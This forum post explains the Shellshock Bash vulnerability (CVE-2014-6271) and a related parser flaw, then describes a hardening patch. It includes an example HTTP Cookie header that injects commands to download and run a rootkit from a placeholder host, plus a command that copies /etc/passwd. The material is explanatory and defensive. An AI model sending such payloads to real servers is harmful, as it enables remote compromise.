What's this Bash thing all about? What are those crazy-looking "
env x='() { :; }..." things I'm told test for vulnerability? Why the
tsunami of Slackware Bash updates? Where are all the socks that get lost in the dryer?
Well, first some basics. Bash supports the concept of functions (a series of commands for later execution). Many of you are probably
familiar with them and have seen them in shell scripts like the one below:
Code:
1 #/bin/bash
2
3 myfunc ()
4 {
5 echo "hi";
6 }
7
8 myfunc;
That script defines function
myfunc (lines 3-6) and executes it (line 8).
A more obscure Bash feature fewer people know about allows the propagation of functions by putting their definitions into environment
variables:
myfunc='() { echo "hi"; }'. Specifically, we can export our
myfunc function to a subshell that can then execute it. e.g.:
Code:
$ env myfunc='() { echo "hi"; }' bash -c 'myfunc;'
hi
So far, so good. But this is where things get interesting. Stephane Chazelas discovered a bug in Bash where parsing of function-
carrying environment variables would incorrectly continue past the end of the function's definition. And, the extra stuff processed
would get immediately executed! So, one could construct something like:
Code:
$ env myfunc='() { echo "hi"; }; echo "this part is the problem!"' bash -c "myfunc;"
this part is the problem!
hi
This was extremely troubling because of the amount of CGI scripts (and other public-facing services) that are either Bash scripts
themselves or pass untrusted input to Bash or /bin/sh (which in Slackware's case is Bash) via the environment. For example, an
attacker might craft an HTTP GET with the following field:
Code:
Cookie: () { :; }; wget -O /tmp/rootkit http://0.1.2.3; chmod 777 /tmp/rootkit; /tmp/rootkit;
If this ends up getting processed by a Bash instance as an environment variable like
HTTP_COOKIE, Bash would download the rootkit,
make it executable, and run it. Game over!
This whopper of a flaw (designated CVE-2014-6271) is the most serious part of this mess (at least so far) and was fixed in the
upstream patches released on 20140924 (included in Slackware's first Bash upgrade).
Shortly afterwards, Tavis Ormandy demonstrated the parser's fragility with another way to fool it during the parsing of functional
definitions:
Code:
$ env myfunc='() { (a)=>\' bash -c "mancha cat /etc/passwd"; <-- copies /etc/passwd to a file named mancha
This parser flaw doesn't appear to have the exploit implications of the first one and was fixed in the upstream patches released on
20140926 (unofficial versions included in the 2nd Slackware Bash upgrade with official versions part of the 3rd and latest Slackware
update).
So here we are...three days and three Slackware security releases later yet concerns remain: the parser is fragile, remains exposed
to the outside world, and in all likelihood new breach points will be discovered. The attack surface is just too damn big! But, even if
no one finds another way to breach the parser, the situation is troubling. Consider that we can define a function
Cookie:
Code:
$ env Cookie='() { echo "this could be evil code"; }' bash -c 'Cookie;'
this could be evil code
Now that CVE-2014-6271 has been fixed we believe the parser won't execute trailing code by mistake but an attacker could send an
HTTP header with the field:
Cookie: () { evil; code; here; } and possibly exploit a poorly-written CGI script. Similar attacks
could be leveled on other public-facing services. Until now this Bash feature hasn't attracted much attention. But, the way it exposes
its own fragile parser to possible exploitation and how it can be leveraged to potentially exploit reams of public-facing applications,
makes the feature somewhat of a liability.
One approach to shrinking this attack surface (short of turning off function importing altogether) is requiring function-carrying
environment variables have a particular syntax (Florian Weimer, of Red Hat, has proposed
BASH_FUNC_myfunc()). Rather than wait for
the dust to settle, I decided to package Red Hat's hardening patch for Bash 3.1, 4.1, 4.2, and 4.3 (versions used by Slackware 12.0+)
and have shared them in another
post for fellow slackers who want the added comfort (look for the "affix" patches). Debian, Fedora,
and others already ship Bash with these patches. I should also mention I consider the hardening patch an interim measure while
upstream settles on an official solution. Right now, it seems upstream intends to mainline some variation of Florian's suggestion.
With those patches applied we're no longer able to arbitrarily export function
myfunc through an environment variable of the same
name as we did before:
Code:
$ env myfunc='() { echo "hi"; }' bash -c 'myfunc;'
bash: myfunc: command not found
We would need to do:
Code:
$ env BASH_FUNC_myfunc\(\)='() { echo "hi"; }' bash -c 'myfunc;'
hi
Why does this offer added protection? Well, if an attacker sends an HTTP header:
Cookie: () { evil; code; here; } that Apache
passes to a buggy CGI script as
HTTP_COOKIE='() { evil; code; here; }', importation would be denied because
HTTP_COOKIE
isn't of the form
BASH_FUNC_x().
Finally, there's the question of whether environment variables are the only method through which the Bash parser is dangerously
exposed to external untrusted input. If other ways exist, we have a lot more to worry about.
--mancha